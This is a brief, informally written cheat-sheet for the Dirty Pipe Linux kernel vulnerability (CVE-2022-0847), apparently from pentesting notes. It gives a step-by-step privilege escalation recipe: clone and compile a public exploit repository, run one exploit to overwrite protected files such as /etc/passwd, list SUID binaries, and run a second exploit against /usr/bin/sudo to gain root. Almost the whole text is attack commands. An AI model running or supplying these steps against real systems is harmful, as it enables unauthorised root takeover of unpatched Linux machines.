Dirty Pipe

if u have just a read perm this type of exploit allow to u write on any files like /etc/passwd

check is vulnerable or not

git clone <https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git>
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh

exploit by edit on files

./exploit-1

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Exploit 2 - Run SUID Binary as Root:

find / -perm -4000 2>/dev/null
./exploit-2 /usr/bin/sudo